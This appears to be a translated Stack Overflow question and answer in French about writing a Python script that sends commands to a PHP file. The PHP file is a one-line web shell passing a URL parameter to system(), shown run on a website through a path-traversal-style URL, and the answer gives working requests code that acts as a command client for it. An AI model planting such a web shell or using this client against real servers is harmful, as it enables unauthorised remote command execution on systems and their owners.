2017-07-23 5 views
0

J'ai créé un fichier php qui me permet d'exécuter des commandes dans l'url. le fichier php et l'url dans les citations suivantes:passer un argument comme une commande en python

<?php 

system($_GET['cmd']); 

?> 

l'url est:

www.somewebsite.com/..././command.php?cmd=id 

donc ici j'ai utilisé la commande "id" et la sortie était:

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Maintenant, je veux écrire un script python qui passe la commande que je veux comme argument et renvoie la sortie dans le terminal au lieu d'exécuter la commande dans le navigateur.

Ceci est mon code à ce jour:

import sys 
import requests 
import re 
import webbrowser 


url = 'http://localhost/.././command.php?cmd=' 

def remote(): 
    webbrowser.open('url') 




def main(): 


    remote() 

Mon problème est de savoir comment passer un argument comme une commande? comme: python do.py id

Merci d'avance.

+1

Vous devriez apprendre quelques premier Python de base. Astuce: utilisez le module 'sys'. – ForceBru

+0

Plus grand indice: https://stackoverflow.com/questions/4117530/sys-argv1-meaning-in-script –

+3

Une bonne question StackOverflow serait centrée sur la chose spécifique que vous ne savez pas comment faire. Par exemple, essayer de comprendre comment extraire un morceau de données de la ligne de commande dans une variable, ou trouver comment substituer une variable dans une chaîne. Cela dit, il est très probable qu'il existe déjà une réponse à ces questions. Vous devriez donc être capable de comprendre tout ce que vous devez faire en décomposant votre problème en petits morceaux, et en recherchant StackOverflow (et/ou les docs de Python) pour l'aide avec ces morceaux individuels. –

Répondre

0

Vous cherchez probablement pour cela:

import requests 
import sys 

url = 'http://localhost/.././command.php?cmd=' 
command = str(sys.argv[1]) 

response = requests.get(url + command) 
print response.content 

You might need to install the requests module. You can do that easily using pip.

+0

Cela fonctionne, mais je veux que la commande soit passée dans la ligne de commande au lieu de changer la variable "commande" chaque fois que je veux exécuter une commande différente! – Core

+0

Modifié veuillez vérifier –

+0

Avez-vous envisagé d'utiliser 'sys.argv []'? 'sys.argv [0]': nom du script 'sys.argv [1]': le premier paramètre passé à votre script – scorpGoku